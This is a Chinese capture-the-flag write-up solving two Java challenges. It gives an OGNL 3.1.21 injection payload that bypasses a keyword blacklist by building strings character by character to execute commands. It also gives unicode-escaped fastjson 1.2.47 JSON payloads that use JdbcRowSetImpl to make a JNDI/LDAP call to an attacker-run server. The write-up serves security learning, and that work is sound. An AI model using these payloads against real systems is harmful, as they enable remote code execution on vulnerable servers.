两道java题目,比较简单

expr

原生反序列化入口,不过这里的SecureUtil重写了resolveClass,ban了TemplatesImpl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@ResponseBody
@RequestMapping({"/"})
public String index(String data) throws IOException {
if (data == null) {
return "Hello World!";
} else {
byte[] decode = CodingUtil.Base64Decode(data);
String resp = "";
InputStream bis = new ByteArrayInputStream(decode);
SecureUtil ois = new SecureUtil(bis);

try {
Object object = ois.readObject();
resp = object.toString();
} catch (Exception var7) {
resp = "error!";
}

return resp;
}
}

依赖有ognl 3.1.21和fastjson 1.2.47,题目给了一个打ognl的入口,在User类中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public Boolean filter() {
String[] BlackList = new String[]{"\"", "'", "\\u", "invoke", "getClass", "\\x", "$", "{", "}", "@", "js", "getRuntime", "java", "script", "ProcessBuilder", "start", "flag"};
String str = this.expr.toLowerCase();
String[] var3 = BlackList;
int var4 = BlackList.length;

for(int var5 = 0; var5 < var4; ++var5) {
String keyword = var3[var5];
if (str.contains(keyword)) {
return true;
}
}

return false;
}

public String getResult() {
try {
if (!this.filter()) {
OgnlContext ognlContext = new OgnlContext();
return Ognl.getValue(this.expr, ognlContext).toString();
} else {
return "fail";
}
} catch (OgnlException var2) {
return "fail";
}
}

这题的预期解法应该是用fastjson去调User类的getResult,再绕一下ognl的黑名单

非预期可以用SignedObject二次反序列化来绕他原生反序列化的黑名单,再打Jackson或fastjson即可

看看ognl怎么打,OGNL在>=3.1.25、>=3.2.12的版本中增加了黑名单,我们这里的版本是3.1.21,随便命令执行

这里为了绕黑名单,首先得用字符串方式

1
2
3
(#s1='javax.script.ScriptEngineManager').
(#s2='js').
(#s3=\"java.lang.Runtime.getRuntime().exec('calc')\").(class.class.forName(#s1).newInstance().getEngineByName(#s2).eval(#s3))

先取字符串,用replace拿到任意字符

1
2
3
(#getclass=(2).class.getMethods[52]).
(#cl=#getclass.class.getName().substring(0, 1)).
(#cl.replace(106,97))

再拼接一下,执行js代码

1
2
3
4
5
6
(#getclass=(2).class.getMethods[52]).
(#cl=#getclass.class.getName().substring(0, 1)).
(#s1=#cl.replace(106,106)+#cl.replace(106,97)+#cl.replace(106,118)+#cl.replace(106,97)+#cl.replace(106,120)+#cl.replace(106,46)+#cl.replace(106,115)+#cl.replace(106,99)+#cl.replace(106,114)+#cl.replace(106,105)+#cl.replace(106,112)+#cl.replace(106,116)+#cl.replace(106,46)+#cl.replace(106,83)+#cl.replace(106,99)+#cl.replace(106,114)+#cl.replace(106,105)+#cl.replace(106,112)+#cl.replace(106,116)+#cl.replace(106,69)+#cl.replace(106,110)+#cl.replace(106,103)+#cl.replace(106,105)+#cl.replace(106,110)+#cl.replace(106,101)+#cl.replace(106,77)+#cl.replace(106,97)+#cl.replace(106,110)+#cl.replace(106,97)+#cl.replace(106,103)+#cl.replace(106,101)+#cl.replace(106,114)).
(#s2=#cl.replace(106,106)+#cl.replace(106,115)).
(#s3=#cl.replace(106,106)+#cl.replace(106,97)+#cl.replace(106,118)+#cl.replace(106,97)+#cl.replace(106,46)+#cl.replace(106,108)+#cl.replace(106,97)+#cl.replace(106,110)+#cl.replace(106,103)+#cl.replace(106,46)+#cl.replace(106,82)+#cl.replace(106,117)+#cl.replace(106,110)+#cl.replace(106,116)+#cl.replace(106,105)+#cl.replace(106,109)+#cl.replace(106,101)+#cl.replace(106,46)+#cl.replace(106,103)+#cl.replace(106,101)+#cl.replace(106,116)+#cl.replace(106,82)+#cl.replace(106,117)+#cl.replace(106,110)+#cl.replace(106,116)+#cl.replace(106,105)+#cl.replace(106,109)+#cl.replace(106,101)+#cl.replace(106,40)+#cl.replace(106,41)+#cl.replace(106,46)+#cl.replace(106,101)+#cl.replace(106,120)+#cl.replace(106,101)+#cl.replace(106,99)+#cl.replace(106,40)+#cl.replace(106,39)+#cl.replace(106,99)+#cl.replace(106,97)+#cl.replace(106,108)+#cl.replace(106,99)+#cl.replace(106,39)+#cl.replace(106,41)).
(class.class.forName(#s1).newInstance().getEngineByName(#s2).eval(#s3))

badjava

fastjson反序列化,版本1.2.47,jdk版本为8u361,入口也是裸的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
@ResponseBody
@PostMapping({"/login"})
public String login(HttpServletRequest request, HttpServletResponse response) {
String data = request.getParameter("data");
String resp = "please check username or password";
if (data == null) {
return JSON.toJSONString(resp);
} else {
Base64.Decoder decoder = Base64.getDecoder();
String decode = new String(decoder.decode(data), StandardCharsets.UTF_8);
Pattern p = Pattern.compile("JdbcRowSetImpl|type|dataSourceName|autoCommit|TemplatesImpl|bytecodes|BasicDataSource", 8);
boolean isMatch = p.matcher(decode).find();
if (!isMatch) {
try {
Object user = JSON.parse(decode);
User u = new User((String)((JSONObject)user).get("username"), (String)((JSONObject)user).get("password"));
if (u.getUsername().equals("ctf") && u.getPassword().equals("ILikeCTFGAMES!!!")) {
resp = "Login Success,But Is Flag{***********}.";
} else {
resp = "please check username or password";
}
} catch (Exception var11) {
resp = "please check username or password";
}
}

return JSON.toJSONString(resp);
}
}

这里的黑名单并不是写在ParserConfig里面的,直接unicode绕过

1
2
3
4
5
6
7
8
9
10
11
{
"a":{
"@typ\u0065":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowS\u0065tImpl"
},
"b":{
"@typ\u0065":"com.sun.rowset.JdbcRowS\u0065tImpl",
"dataSourc\u0065Name":"ldap://127.0.0.1:1389/MLet/com.ctf.badjava.entity.User",
"\u0061utoCommit":true
}
}

后面打一个fastjson原生反序列化就行

1
2
3
4
5
6
7
8
9
10
11
{
"a":{
"@typ\u0065":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowS\u0065tImpl"
},
"b":{
"@typ\u0065":"com.sun.rowset.JdbcRowS\u0065tImpl",
"dataSourc\u0065Name":"ldap://127.0.0.1:1389/Deserialize/Fastjson1/Command/Y2FsYw==",
"\u0061utoCommit":true
}
}